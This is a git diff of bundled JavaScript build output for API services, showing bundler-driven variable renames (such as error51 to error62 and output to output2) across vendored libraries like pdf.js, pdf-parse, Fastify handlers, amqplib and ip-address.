module2.exports = function(key, value) { try { defineProperty(globalThis2, key, { value, configurable: true, writable: true }); - } catch (error51) { + } catch (error62) { globalThis2[key] = value; } return value; @@ -119794,9 +124992,9 @@ var __webpack_modules__ = { try { var result2 = state.nextHandler(); return state.returnHandlerResult ? result2 : createIterResultObject(result2, state.done); - } catch (error51) { + } catch (error62) { state.done = true; - throw error51; + throw error62; } }, "return": function() { @@ -119809,13 +125007,13 @@ var __webpack_modules__ = { } if (state.inner) try { iteratorClose(state.inner.iterator, NORMAL); - } catch (error51) { - return iteratorClose(iterator, THROW, error51); + } catch (error62) { + return iteratorClose(iterator, THROW, error62); } if (state.openIters) try { iteratorCloseAll(state.openIters, NORMAL); - } catch (error51) { - return iteratorClose(iterator, THROW, error51); + } catch (error62) { + return iteratorClose(iterator, THROW, error62); } if (iterator) iteratorClose(iterator, NORMAL); return createIterResultObject(void 0, true); @@ -119863,7 +125061,7 @@ var __webpack_modules__ = { try { var target = new Uint8Array2(); target.toBase64(null); - } catch (error51) { + } catch (error62) { return true; } }(); @@ -119918,9 +125116,9 @@ var __webpack_modules__ = { (module2, __unused_webpack_exports, __webpack_require__2) => { var globalThis2 = __webpack_require__2(4576); var userAgent = __webpack_require__2(2839); - var process3 = globalThis2.process; + var process2 = globalThis2.process; var Deno2 = globalThis2.Deno; - var versions = process3 && process3.versions || Deno2 && Deno2.version; + var versions = process2 && process2.versions || Deno2 && Deno2.version; var v8 = versions && versions.v8; var match, version4; if (v8) { @@ -119954,9 +125152,9 @@ var __webpack_modules__ = { return value; } innerResult = call(innerResult, iterator); - } catch (error51) { + } catch (error62) { innerError = true; - innerResult = error51; + innerResult = error62; } if (kind === "throw") throw value; if (innerError) throw innerResult; @@ -119993,14 +125191,14 @@ var __webpack_modules__ = { new Int8Array(1)["with"](2, { valueOf: function() { throw 8; } }); - } catch (error51) { - return error51 === 8; + } catch (error62) { + return error62 === 8; } }(); var THROW_ON_NEGATIVE_FRACTIONAL_INDEX = PROPER_ORDER && function() { try { new Int8Array(1)["with"](-0.5, 1); - } catch (error51) { + } catch (error62) { return true; } }(); @@ -120099,7 +125297,7 @@ var __webpack_modules__ = { }; var result2 = baseSet[METHOD_NAME](setLike); return result2.size === 1 && result2.values().next().value === 4; - } catch (error51) { + } catch (error62) { return false; } }; @@ -120674,7 +125872,7 @@ var Util = class { p[0] = (p0 * m[3] - p1 * m[2] + m[2] * m[5] - m[4] * m[3]) / d; p[1] = (-p0 * m[1] + p1 * m[0] + m[4] * m[1] - m[5] * m[0]) / d; } - static axialAlignedBoundingBox(rect, transform2, output) { + static axialAlignedBoundingBox(rect, transform2, output2) { const m0 = transform2[0]; const m1 = transform2[1]; const m2 = transform2[2]; @@ -120707,16 +125905,16 @@ var Util = class { b1 += m1r2; b2 += m1r2; } - output[0] = Math.min(output[0], a0, a1, a2, a3); - output[1] = Math.min(output[1], b0, b1, b2, b3); - output[2] = Math.max(output[2], a0, a1, a2, a3); - output[3] = Math.max(output[3], b0, b1, b2, b3); + output2[0] = Math.min(output2[0], a0, a1, a2, a3); + output2[1] = Math.min(output2[1], b0, b1, b2, b3); + output2[2] = Math.max(output2[2], a0, a1, a2, a3); + output2[3] = Math.max(output2[3], b0, b1, b2, b3); } static inverseTransform(m) { const d = m[0] * m[3] - m[1] * m[2]; return [m[3] / d, -m[1] / d, -m[2] / d, m[0] / d, (m[2] * m[5] - m[4] * m[3]) / d, (m[4] * m[1] - m[5] * m[0]) / d]; } - static singularValueDecompose2dScale(matrix, output) { + static singularValueDecompose2dScale(matrix, output2) { const m0 = matrix[0]; const m1 = matrix[1]; const m2 = matrix[2]; @@ -120726,8 +125924,8 @@ var Util = class { const c = m2 ** 2 + m3 ** 2; const first2 = (a + c) / 2; const second = Math.sqrt(first2 ** 2 - (a * c - b2 ** 2)); - output[0] = Math.sqrt(first2 + second || 1); - output[1] = Math.sqrt(first2 - second || 1); + output2[0] = Math.sqrt(first2 + second || 1); + output2[1] = Math.sqrt(first2 - second || 1); } static normalizeRect(rect) { const r = rect.slice(0); @@ -120922,39 +126120,39 @@ var web_url_search_params_size = __webpack_require__(8721); var XfaText = class _XfaText { static textContent(xfa) { const items = []; - const output = { + const output2 = { items, styles: /* @__PURE__ */ Object.create(null) }; - function walk(node) { - if (!node) { + function walk(node2) { + if (!node2) { return; } let str = null; - const name = node.name; + const name = node2.name; if (name === "#text") { - str = node.value; + str = node2.value; } else if (!_XfaText.shouldBuildText(name)) { return; - } else if (node?.attributes?.textContent) { - str = node.attributes.textContent; - } else if (node.value) { - str = node.value; + } else if (node2?.attributes?.textContent) { + str = node2.attributes.textContent; + } else if (node2.value) { + str = node2.value; } if (str !== null) { items.push({ str }); } - if (!node.children) { + if (!node2.children) { return; } - for (const child of node.children) { + for (const child of node2.children) { walk(child); } } walk(xfa); - return output; + return output2; } static shouldBuildText(name) { return !(name === "textarea" || name === "input" || name === "option" || name === "select"); @@ -121104,10 +126302,10 @@ var XfaLayer = class { const textDivs = []; if (root2.children.length === 0) { if (root2.value) { - const node = document.createTextNode(root2.value); - rootHtml.append(node); + const node2 = document.createTextNode(root2.value); + rootHtml.append(node2); if (isNotForRichText && XfaText.shouldBuildText(root2.name)) { - textDivs.push(node); + textDivs.push(node2); } } return { @@ -121129,9 +126327,9 @@ var XfaLayer = class { name } = child; if (name === "#text") { - const node = document.createTextNode(child.value); - textDivs.push(node); - html.append(node); + const node2 = document.createTextNode(child.value); + textDivs.push(node2); + html.append(node2); continue; } const childHtml = child?.attributes?.xmlns ? document.createElementNS(child.attributes.xmlns, name) : document.createElement(name); @@ -121148,11 +126346,11 @@ var XfaLayer = class { if (child.children?.length > 0) { stack.push([child, -1, childHtml]); } else if (child.value) { - const node = document.createTextNode(child.value); + const node2 = document.createTextNode(child.value); if (isNotForRichText && XfaText.shouldBuildText(name)) { - textDivs.push(node); + textDivs.push(node2); } - childHtml.append(node); + childHtml.append(node2); } } for (const el of rootDiv.querySelectorAll(".xfaNonInteractive input, .xfaNonInteractive textarea")) { @@ -121481,15 +126679,15 @@ function deprecated(details) { } var PDFDateString = class { static #regex; - static toDateObject(input) { - if (input instanceof Date) { - return input; + static toDateObject(input2) { + if (input2 instanceof Date) { + return input2; } - if (!input || typeof input !== "string") { + if (!input2 || typeof input2 !== "string") { return null; } this.#regex ||= new RegExp("^D:(\\d{4})(\\d{2})?(\\d{2})?(\\d{2})?(\\d{2})?(\\d{2})?([Z|+|-])?(\\d{2})?'?(\\d{2})?'?"); - const matches = this.#regex.exec(input); + const matches = this.#regex.exec(input2); if (!matches) { return null; } @@ -121682,7 +126880,7 @@ function applyOpacity(r, g, b2, opacity) { b2 = Math.round(b2 * opacity + white); return [r, g, b2]; } -function RGBToHSL(rgb, output) { +function RGBToHSL(rgb, output2) { const r = rgb[0] / 255; const g = rgb[1] / 255; const b2 = rgb[2] / 255; @@ -121690,25 +126888,25 @@ function RGBToHSL(rgb, output) { const min2 = Math.min(r, g, b2); const l2 = (max2 + min2) / 2; if (max2 === min2) { - output[0] = output[1] = 0; + output2[0] = output2[1] = 0; } else { const d = max2 - min2; - output[1] = l2 < 0.5 ? d / (max2 + min2) : d / (2 - max2 - min2); + output2[1] = l2 < 0.5 ? d / (max2 + min2) : d / (2 - max2 - min2); switch (max2) { case r: - output[0] = ((g - b2) / d + (g < b2 ? 6 : 0)) * 60; + output2[0] = ((g - b2) / d + (g < b2 ? 6 : 0)) * 60; break; case g: - output[0] = ((b2 - r) / d + 2) * 60; + output2[0] = ((b2 - r) / d + 2) * 60; break; case b2: - output[0] = ((r - g) / d + 4) * 60; + output2[0] = ((r - g) / d + 4) * 60; break; } } - output[2] = l2; + output2[2] = l2; } -function HSLToRGB(hsl, output) { +function HSLToRGB(hsl, output2) { const h = hsl[0]; const s = hsl[1]; const l2 = hsl[2]; @@ -121717,48 +126915,48 @@ function HSLToRGB(hsl, output) { const m = l2 - c / 2; switch (Math.floor(h / 60)) { case 0: - output[0] = c + m; - output[1] = x + m; - output[2] = m; + output2[0] = c + m; + output2[1] = x + m; + output2[2] = m; break; case 1: - output[0] = x + m; - output[1] = c + m; - output[2] = m; + output2[0] = x + m; + output2[1] = c + m; + output2[2] = m; break; case 2: - output[0] = m; - output[1] = c + m; - output[2] = x + m; + output2[0] = m; + output2[1] = c + m; + output2[2] = x + m; break; case 3: - output[0] = m; - output[1] = x + m; - output[2] = c + m; + output2[0] = m; + output2[1] = x + m; + output2[2] = c + m; break; case 4: - output[0] = x + m; - output[1] = m; - output[2] = c + m; + output2[0] = x + m; + output2[1] = m; + output2[2] = c + m; break; case 5: case 6: - output[0] = c + m; - output[1] = m; - output[2] = x + m; + output2[0] = c + m; + output2[1] = m; + output2[2] = x + m; break; } } function computeLuminance(x) { return x <= 0.03928 ? x / 12.92 : ((x + 0.055) / 1.055) ** 2.4; } -function contrastRatio(hsl1, hsl2, output) { - HSLToRGB(hsl1, output); - output.map(computeLuminance); - const lum1 = 0.2126 * output[0] + 0.7152 * output[1] + 0.0722 * output[2]; - HSLToRGB(hsl2, output); - output.map(computeLuminance); - const lum2 = 0.2126 * output[0] + 0.7152 * output[1] + 0.0722 * output[2]; +function contrastRatio(hsl1, hsl2, output2) { + HSLToRGB(hsl1, output2); + output2.map(computeLuminance); + const lum1 = 0.2126 * output2[0] + 0.7152 * output2[1] + 0.0722 * output2[2]; + HSLToRGB(hsl2, output2); + output2.map(computeLuminance); + const lum2 = 0.2126 * output2[0] + 0.7152 * output2[1] + 0.0722 * output2[2]; return lum1 > lum2 ? (lum1 + 0.05) / (lum2 + 0.05) : (lum2 + 0.05) / (lum1 + 0.05); } var contrastCache = /* @__PURE__ */ new Map(); @@ -121769,7 +126967,7 @@ function findContrastColor(baseColor, fixedColor) { return cachedValue; } const array2 = new Float32Array(9); - const output = array2.subarray(0, 3); + const output2 = array2.subarray(0, 3); const baseHSL = array2.subarray(3, 6); RGBToHSL(baseColor, baseHSL); const fixedHSL = array2.subarray(6, 9); @@ -121777,7 +126975,7 @@ function findContrastColor(baseColor, fixedColor) { const isFixedColorDark = fixedHSL[2] < 0.5; const minContrast = isFixedColorDark ? 12 : 4.5; baseHSL[2] = isFixedColorDark ? Math.sqrt(baseHSL[2]) : 1 - Math.sqrt(1 - baseHSL[2]); - if (contrastRatio(baseHSL, fixedHSL, output) < minContrast) { + if (contrastRatio(baseHSL, fixedHSL, output2) < minContrast) { let start, end; if (isFixedColorDark) { start = baseHSL[2]; @@ -121789,7 +126987,7 @@ function findContrastColor(baseColor, fixedColor) { const PRECISION = 5e-3; while (end - start > PRECISION) { const mid = baseHSL[2] = (start + end) / 2; - if (isFixedColorDark === contrastRatio(baseHSL, fixedHSL, output) < minContrast) { + if (isFixedColorDark === contrastRatio(baseHSL, fixedHSL, output2) < minContrast) { start = mid; } else { end = mid; @@ -121797,8 +126995,8 @@ function findContrastColor(baseColor, fixedColor) { } baseHSL[2] = isFixedColorDark ? end : start; } - HSLToRGB(baseHSL, output); - cachedValue = Util.makeHexColor(Math.round(output[0] * 255), Math.round(output[1] * 255), Math.round(output[2] * 255)); + HSLToRGB(baseHSL, output2); + cachedValue = Util.makeHexColor(Math.round(output2[0] * 255), Math.round(output2[1] * 255), Math.round(output2[2] * 255)); contrastCache.set(key, cachedValue); return cachedValue; } @@ -126477,13 +131675,13 @@ var MurmurHash3_64 = class { this.h1 = seed ? seed & 4294967295 : SEED; this.h2 = seed ? seed & 4294967295 : SEED; } - update(input) { + update(input2) { let data, length; - if (typeof input === "string") { - data = new Uint8Array(input.length * 2); + if (typeof input2 === "string") { + data = new Uint8Array(input2.length * 2); length = 0; - for (let i = 0, ii = input.length; i < ii; i++) { - const code = input.charCodeAt(i); + for (let i = 0, ii = input2.length; i < ii; i++) { + const code = input2.charCodeAt(i); if (code <= 255) { data[length++] = code; } else { @@ -126491,8 +131689,8 @@ var MurmurHash3_64 = class { data[length++] = code & 255; } } - } else if (ArrayBuffer.isView(input)) { - data = input.slice(); + } else if (ArrayBuffer.isView(input2)) { + data = input2.slice(); length = data.byteLength; } else { throw new Error("Invalid data format, must be a string or TypedArray."); @@ -133259,12 +138457,12 @@ var PDFNodeStreamFsFullReader = class { this._contentLength = stat2.size; this._setReadableStream(fs2.createReadStream(this._url)); this._headersCapability.resolve(); - }, (error51) => { - if (error51.code === "ENOENT") { - error51 = createResponseError(0, this._url.href); + }, (error62) => { + if (error62.code === "ENOENT") { + error62 = createResponseError(0, this._url.href); } - this._storedError = error51; - this._headersCapability.reject(error51); + this._storedError = error62; + this._headersCapability.reject(error62); }); } get headersReady() { @@ -134321,7 +139519,7 @@ var PDFPageProxy = class { } const recordForDebugger = Boolean(this._pdfBug && globalThis.StepperManager?.enabled); const shouldRecordOperations = !this.recordedBBoxes && (recordOperations || recordForDebugger); - const complete = (error51) => { + const complete = (error62) => { intentState.renderTasks.delete(internalRenderTask); if (shouldRecordOperations) { const recordedBBoxes = internalRenderTask.gfx?.dependencyTracker.take(); @@ -134338,11 +139536,11 @@ var PDFPageProxy = class { this.#pendingCleanup = true; } this.#tryCleanup(); - if (error51) { - internalRenderTask.capability.reject(error51); + if (error62) { + internalRenderTask.capability.reject(error62); this._abortOperatorList({ intentState, - reason: error51 instanceof Error ? error51 : new Error(error51) + reason: error62 instanceof Error ? error62 : new Error(error62) }); } else { internalRenderTask.capability.resolve(); @@ -135516,7 +140714,7 @@ var InternalRenderTask = class _InternalRenderTask { this.graphicsReady = true; this.graphicsReadyCallback?.(); } - cancel(error51 = null, extraDelay = 0) { + cancel(error62 = null, extraDelay = 0) { this.running = false; this.cancelled = true; this.gfx?.endDrawing(); @@ -135525,9 +140723,9 @@ var InternalRenderTask = class _InternalRenderTask { this.#rAF = null; } _InternalRenderTask.#canvasInUse.delete(this._canvas); - error51 ||= new RenderingCancelledException(`Rendering cancelled, page ${this._pageIndex + 1}`, extraDelay); - this.callback(error51); - this.task.onError?.(error51); + error62 ||= new RenderingCancelledException(`Rendering cancelled, page ${this._pageIndex + 1}`, extraDelay); + this.callback(error62); + this.task.onError?.(error62); } operatorListChanged() { if (!this.graphicsReady) { @@ -135831,18 +141029,18 @@ var BasicColorPicker = class _BasicColorPicker { colorType, colorValue } = this.#editor; - const input = this.#input = document.createElement("input"); - input.type = "color"; - input.value = colorValue || "#000000"; - input.className = "basicColorPicker"; - input.tabIndex = 0; - input.setAttribute("data-l10n-id", _BasicColorPicker.#l10nColor[editorType]); - input.addEventListener("input", () => { - this.#uiManager.updateParams(colorType, input.value); + const input2 = this.#input = document.createElement("input"); + input2.type = "color"; + input2.value = colorValue || "#000000"; + input2.className = "basicColorPicker"; + input2.tabIndex = 0; + input2.setAttribute("data-l10n-id", _BasicColorPicker.#l10nColor[editorType]); + input2.addEventListener("input", () => { + this.#uiManager.updateParams(colorType, input2.value); }, { signal: this.#uiManager._signal }); - return input; + return input2; } update(value) { if (!this.#input) { @@ -137939,7 +143137,7 @@ var PopupElement = class { parent, rect, parentRect, - open, + open: open2, commentManager = null }) { this.#container = container; @@ -137960,7 +143158,7 @@ var PopupElement = class { } else { this.#addEventListeners(); this.#container.hidden = true; - if (open) { + if (open2) { this.#toggle(); } } @@ -139617,8 +144815,8 @@ var FreeTextEditor = class _FreeTextEditor extends AnnotationEditor { } return this.div; } - static #getNodeContent(node) { - return (node.nodeType === Node.TEXT_NODE ? node.nodeValue : node.innerText).replaceAll(EOL_PATTERN, ""); + static #getNodeContent(node2) { + return (node2.nodeType === Node.TEXT_NODE ? node2.nodeValue : node2.innerText).replaceAll(EOL_PATTERN, ""); } editorDivPaste(event) { const clipboardData = event.clipboardData || window.clipboardData; @@ -143064,10 +148262,10 @@ var SignatureExtractor = class { } return contours; } - static #douglasPeuckerHelper(points, start, end, output) { + static #douglasPeuckerHelper(points, start, end, output2) { if (end - start <= 4) { for (let i = start; i < end - 2; i += 2) { - output.push(points[i], points[i + 1]); + output2.push(points[i], points[i + 1]); } return; } @@ -143097,18 +148295,18 @@ var SignatureExtractor = class { } } if (dmax > (dist * partialPhi) ** 2) { - this.#douglasPeuckerHelper(points, start, index2 + 2, output); - this.#douglasPeuckerHelper(points, index2, end, output); + this.#douglasPeuckerHelper(points, start, index2 + 2, output2); + this.#douglasPeuckerHelper(points, index2, end, output2); } else { - output.push(ax, ay); + output2.push(ax, ay); } } static #douglasPeucker(points) { - const output = []; + const output2 = []; const len = points.length; - this.#douglasPeuckerHelper(points, 0, len, output); - output.push(points[len - 2], points[len - 1]); - return output.length <= 4 ? null : output; + this.#douglasPeuckerHelper(points, 0, len, output2); + output2.push(points[len - 2], points[len - 1]); + return output2.length <= 4 ? null : output2; } static #bilateralFilter(buf, width, height, sigmaS, sigmaR, kernelSize) { const kernel = new Float32Array(kernelSize ** 2); @@ -144049,17 +149247,17 @@ var StampEditor = class extends AnnotationEditor { this.#bitmapPromise = this._uiManager.imageManager.getFromFile(file2).then((data) => this.#getBitmapFetched(data)).finally(() => this.#getBitmapDone()); return; } - const input = document.createElement("input"); - input.type = "file"; - input.accept = SupportedImageMimeTypes.join(","); + const input2 = document.createElement("input"); + input2.type = "file"; + input2.accept = SupportedImageMimeTypes.join(","); const signal = this._uiManager._signal; this.#bitmapPromise = new Promise((resolve2) => { - input.addEventListener("change", async () => { - if (!input.files || input.files.length === 0) { + input2.addEventListener("change", async () => { + if (!input2.files || input2.files.length === 0) { this.remove(); } else { this._uiManager.enableWaiting(true); - const data = await this._uiManager.imageManager.getFromFile(input.files[0]); + const data = await this._uiManager.imageManager.getFromFile(input2.files[0]); this._reportTelemetry({ action: "pdfjs.image.image_selected", data: { @@ -144072,14 +149270,14 @@ var StampEditor = class extends AnnotationEditor { }, { signal }); - input.addEventListener("cancel", () => { + input2.addEventListener("cancel", () => { this.remove(); resolve2(); }, { signal }); }).finally(() => this.#getBitmapDone()); - input.click(); + input2.click(); } remove() { if (this.#bitmapId) { @@ -145699,27 +150897,27 @@ var AbortException2 = class _AbortException extends Error { } } }; -function getException(error51) { - if (error51 instanceof Error) { - switch (error51.name) { +function getException(error62) { + if (error62 instanceof Error) { + switch (error62.name) { case "InvalidPDFException": - return new InvalidPDFException2(error51.message, error51); + return new InvalidPDFException2(error62.message, error62); case "PasswordException": - return new PasswordException2(error51.message, error51); + return new PasswordException2(error62.message, error62); case "FormatError": - return new FormatError2(error51.message, error51); + return new FormatError2(error62.message, error62); case "UnknownErrorException": - return new UnknownErrorException2(error51.message, error51.details, error51); + return new UnknownErrorException2(error62.message, error62.details, error62); case "ResponseException": - return new ResponseException2(error51.message, error51.status, error51.missing, error51); + return new ResponseException2(error62.message, error62.status, error62.missing, error62); case "AbortException": - return new AbortException2(error51.message, error51); + return new AbortException2(error62.message, error62); // add other mappings as needed default: - return error51; + return error62; } } - return new Error(String(error51)); + return new Error(String(error62)); } // node_modules/.pnpm/pdf-parse@2.4.5/node_modules/pdf-parse/dist/pdf-parse/esm/geometry/Shape.js @@ -146760,8 +151958,8 @@ ${pageNumber} this.doc = await loadingTask.promise; } return this.doc; - } catch (error51) { - throw getException(error51); + } catch (error62) { + throw getException(error62); } } shouldParse(currentPage, totalPage, params) { @@ -147476,35 +152674,35 @@ function buildApp(deps) { }); const metrics2 = createMetricsRegistry("profile-service"); registerHttpMetrics(app2, metrics2); - app2.setErrorHandler((error51, request, reply) => { - if (error51 instanceof ZodError) { + app2.setErrorHandler((error62, request, reply) => { + if (error62 instanceof ZodError) { reply.status(400).send({ error: { code: "VALIDATION_ERROR", message: "Request failed validation", request_id: request.id, - details: error51.issues.map((issue2) => ({ path: issue2.path.join("."), message: issue2.message })) + details: error62.issues.map((issue2) => ({ path: issue2.path.join("."), message: issue2.message })) } }); return; } - if (isAppError(error51)) { - reply.status(error51.statusCode).send(error51.toResponse(request.id)); + if (isAppError(error62)) { + reply.status(error62.statusCode).send(error62.toResponse(request.id)); return; } - const fastifyStatus = error51.statusCode; + const fastifyStatus = error62.statusCode; if (fastifyStatus !== void 0 && fastifyStatus >= 400 && fastifyStatus < 500) { reply.status(fastifyStatus).send({ error: { code: STATUS_TO_CODE[fastifyStatus] ?? "VALIDATION_ERROR", - message: error51.message, + message: error62.message, request_id: request.id } }); return; } - request.log.error({ err: error51 }, "unhandled error"); - const appError = toAppError(error51); + request.log.error({ err: error62 }, "unhandled error"); + const appError = toAppError(error62); reply.status(appError.statusCode).send(appError.toResponse(request.id)); }); app2.setNotFoundHandler((request, reply) => { diff --git a/api/referrals/index.js b/api/referrals/index.js index 93af2e6..672d38a 100644 --- a/api/referrals/index.js +++ b/api/referrals/index.js @@ -1540,12 +1540,12 @@ var require_sonic_boom = __commonJS({ throw new Error("flush cb must be a function"); } if (this.destroyed) { - const error51 = new Error("SonicBoom destroyed"); + const error62 = new Error("SonicBoom destroyed"); if (cb) { - cb(error51); + cb(error62); return; } - throw error51; + throw error62; } if (this.minLength <= 0) { cb?.(); @@ -1567,12 +1567,12 @@ var require_sonic_boom = __commonJS({ throw new Error("flush cb must be a function"); } if (this.destroyed) { - const error51 = new Error("SonicBoom destroyed"); + const error62 = new Error("SonicBoom destroyed"); if (cb) { - cb(error51); + cb(error62); return; } - throw error51; + throw error62; } if (this.minLength <= 0) { cb?.(); @@ -2234,11 +2234,11 @@ var require_thread_stream = __commonJS({ write(data) { const dataBuf = Buffer.isBuffer(data) ? data : Buffer.from(data); if (this[kImpl].destroyed) { - error51(this, new Error("the worker has exited")); + error62(this, new Error("the worker has exited")); return false; } if (this[kImpl].ending) { - error51(this, new Error("the worker is ending")); + error62(this, new Error("the worker is ending")); return false; } if (this[kImpl].flushing && this[kImpl].bufLen + dataBuf.length >= MAX_STRING) { @@ -2399,7 +2399,7 @@ var require_thread_stream = __commonJS({ } callbacks.clear(); } - function error51(stream, err) { + function error62(stream, err) { setImmediate(() => { stream.emit("error", err); }); @@ -2412,7 +2412,7 @@ var require_thread_stream = __commonJS({ failPendingFlushCallbacks(stream, err); if (err) { stream[kImpl].errored = err; - error51(stream, err); + error62(stream, err); } if (!stream.worker.exited) { stream.worker.terminate().catch(() => { @@ -4552,16 +4552,16 @@ var require_querystringify = __commonJS({ "use strict"; var has = Object.prototype.hasOwnProperty; var undef; - function decode4(input) { + function decode4(input2) { try { - return decodeURIComponent(input.replace(/\+/g, " ")); + return decodeURIComponent(input2.replace(/\+/g, " ")); } catch (e) { return null; } } - function encode4(input) { + function encode4(input2) { try { - return encodeURIComponent(input); + return encodeURIComponent(input2); } catch (e) { return null; } @@ -10898,8 +10898,8 @@ var require_connection = __commonJS({ var s = stackCapture("closeBecause called: " + reason); this.toClosing(s, k); } - closeWithError(reason, code, error51) { - this.emit("error", error51); + closeWithError(reason, code, error62) { + this.emit("error", error62); this.closeBecause(reason, code); } onSocketError(err) { @@ -11207,8 +11207,8 @@ var require_connection = __commonJS({ return ws; } } - function isFatalError(error51) { - switch (error51 && error51.code) { + function isFatalError(error62) { + switch (error62 && error62.code) { case defs.constants.CONNECTION_FORCED: case defs.constants.REPLY_SUCCESS: return false; @@ -11629,15 +11629,15 @@ var require_channel = __commonJS({ // If we close because there's been an error, we need to distinguish // between what we tell the server (`reason`) and what we report as // the cause in the client (`error`). - closeWithError(id, reason, code, error51) { + closeWithError(id, reason, code, error62) { var self2 = this; this.closeBecause(reason, code, function() { - error51.code = code; + error62.code = code; if (id) { - error51.classId = defs.info(id).classId; - error51.methodId = defs.info(id).methodId; + error62.classId = defs.info(id).classId; + error62.methodId = defs.info(id).methodId; } - self2.emit("error", error51); + self2.emit("error", error62); }); } // A trampolining state machine for message frames on a channel. A @@ -11728,11 +11728,11 @@ var require_channel = __commonJS({ } var emsg = "Channel closed by server: " + closeMsg(f); this.sendImmediately(defs.ChannelCloseOk, {}); - var error51 = new Error(emsg); - error51.code = f.fields.replyCode; - error51.classId = f.fields.classId; - error51.methodId = f.fields.methodId; - this.emit("error", error51); + var error62 = new Error(emsg); + error62.code = f.fields.replyCode; + error62.classId = f.fields.classId; + error62.methodId = f.fields.methodId; + this.emit("error", error62); var s = stackCapture(emsg); this.toClosed(s); return; @@ -13402,9 +13402,9 @@ var require_cors = __commonJS({ addOriginToVaryHeader(reply); } const resolveOriginOption = typeof options.origin === "function" ? resolveOriginWrapper(fastify, options.origin) : (_, cb) => cb(null, options.origin); - resolveOriginOption(req, (error51, resolvedOriginOption) => { - if (error51 !== null) { - return next(error51); + resolveOriginOption(req, (error62, resolvedOriginOption) => { + if (error62 !== null) { + return next(error62); } if (resolvedOriginOption === false) { return next(); @@ -13820,8 +13820,8 @@ var require_ipv4 = __commonJS({ * Address4.fromWildcard('192.168.*.*').subnet; // '/16' * Address4.fromWildcard('*.*.*.*').subnet; // '/0' */ - static fromWildcard(input) { - const groups = input.split("."); + static fromWildcard(input2) { + const groups = input2.split("."); if (groups.length !== constants.GROUPS) { throw new address_error_1.AddressError("Wildcard pattern must have 4 octets"); } @@ -13908,12 +13908,12 @@ var require_ipv4 = __commonJS({ * @returns {String} */ toGroup6() { - const output = []; + const output2 = []; let i; for (i = 0; i < constants.GROUPS; i += 2) { - output.push(`${common.stringToPaddedHex(this.parsedAddress[i])}${common.stringToPaddedHex(this.parsedAddress[i + 1])}`); + output2.push(`${common.stringToPaddedHex(this.parsedAddress[i])}${common.stringToPaddedHex(this.parsedAddress[i + 1])}`); } - return output.join(":"); + return output2.join(":"); } /** * Returns the address as a `bigint` @@ -14629,21 +14629,21 @@ var require_ipv6 = __commonJS({ let host; let port = null; let result; - let error51; + let error62; const stripped = url2.replace(/^[a-z][a-z0-9+.-]*:\/\//i, ""); if (stripped.indexOf("[") !== -1 && stripped.indexOf("]:") !== -1) { - error51 = "failed to parse address with port"; + error62 = "failed to parse address with port"; result = constants6.RE_URL_WITH_PORT.exec(stripped); if (result === null) { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } host = result[1]; port = result[2]; } else { - error51 = "failed to parse address from URL"; + error62 = "failed to parse address from URL"; result = constants6.RE_URL.exec(stripped); if (result === null) { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } host = (_a3 = result[1]) !== null && _a3 !== void 0 ? _a3 : result[2]; } @@ -14659,7 +14659,7 @@ var require_ipv6 = __commonJS({ try { address = new _Address6(host); } catch { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } return { address, port }; } @@ -14706,11 +14706,11 @@ var require_ipv6 = __commonJS({ * Address6.fromWildcard('2001:db8::*').subnet; // '/112' * Address6.fromWildcard('*:*:*:*:*:*:*:*').subnet; // '/0' */ - static fromWildcard(input) { - if (input.includes("%") || input.includes("/")) { + static fromWildcard(input2) { + if (input2.includes("%") || input2.includes("/")) { throw new address_error_1.AddressError("Wildcard pattern must not include a zone or CIDR suffix"); } - const halves = input.split("::"); + const halves = input2.split("::"); if (halves.length > 2) { throw new address_error_1.AddressError("Wildcard pattern cannot contain more than one '::'"); } @@ -14724,7 +14724,7 @@ var require_ipv6 = __commonJS({ } groups = [...left, ...new Array(remaining).fill("0"), ...right]; } else { - groups = input.split(":"); + groups = input2.split(":"); } if (groups.length !== constants6.GROUPS) { throw new address_error_1.AddressError("Wildcard pattern must have 8 groups"); @@ -15695,29 +15695,29 @@ var require_ipv6 = __commonJS({ } assert2(typeof this.elidedGroups === "number"); assert2(typeof this.elisionBegin === "number"); - const output = []; + const output2 = []; const [left, right] = this.addressMinusSuffix.split("::"); if (left.length) { - output.push(...helpers.simpleGroup(left)); + output2.push(...helpers.simpleGroup(left)); } else { - output.push(""); + output2.push(""); } const classes = ["hover-group"]; for (let i = this.elisionBegin; i < this.elisionBegin + this.elidedGroups; i++) { classes.push(`group-${i}`); } - output.push(``); + output2.push(``); if (right.length) { - output.push(...helpers.simpleGroup(right, this.elisionEnd)); + output2.push(...helpers.simpleGroup(right, this.elisionEnd)); } else { - output.push(""); + output2.push(""); } if (this.is4()) { assert2(this.address4 instanceof ipv4_1.Address4); - output.pop(); - output.push(this.address4.groupForV6()); + output2.pop(); + output2.push(this.address4.groupForV6()); } - return output.join(":"); + return output2.join(":"); } // #endregion // #region Regular expressions @@ -15728,36 +15728,36 @@ var require_ipv6 = __commonJS({ * @returns {string} */ regularExpressionString(substringSearch = false) { - let output = []; + let output2 = []; const address6 = new _Address6(this.correctForm()); if (address6.elidedGroups === 0) { - output.push((0, regular_expressions_1.simpleRegularExpression)(address6.parsedAddress)); + output2.push((0, regular_expressions_1.simpleRegularExpression)(address6.parsedAddress)); } else if (address6.elidedGroups === constants6.GROUPS) { - output.push((0, regular_expressions_1.possibleElisions)(constants6.GROUPS)); + output2.push((0, regular_expressions_1.possibleElisions)(constants6.GROUPS)); } else { const halves = address6.address.split("::"); if (halves[0].length) { - output.push((0, regular_expressions_1.simpleRegularExpression)(halves[0].split(":"))); + output2.push((0, regular_expressions_1.simpleRegularExpression)(halves[0].split(":"))); } assert2(typeof address6.elidedGroups === "number"); - output.push((0, regular_expressions_1.possibleElisions)(address6.elidedGroups, halves[0].length !== 0, halves[1].length !== 0)); + output2.push((0, regular_expressions_1.possibleElisions)(address6.elidedGroups, halves[0].length !== 0, halves[1].length !== 0)); if (halves[1].length) { - output.push((0, regular_expressions_1.simpleRegularExpression)(halves[1].split(":"))); + output2.push((0, regular_expressions_1.simpleRegularExpression)(halves[1].split(":"))); } - output = [output.join(":")]; + output2 = [output2.join(":")]; } if (!substringSearch) { - output = [ + output2 = [ "(?=^|", regular_expressions_1.ADDRESS_BOUNDARY, "|[^\\w\\:])(", - ...output, + ...output2, ")(?=[^\\w\\:]|", regular_expressions_1.ADDRESS_BOUNDARY, "|$)" ]; } - return output.join(""); + return output2.join(""); } /** * Generate a regular expression that can be used to find or validate all @@ -16428,7 +16428,7 @@ var require_queue = __commonJS({ empty: noop3, kill, 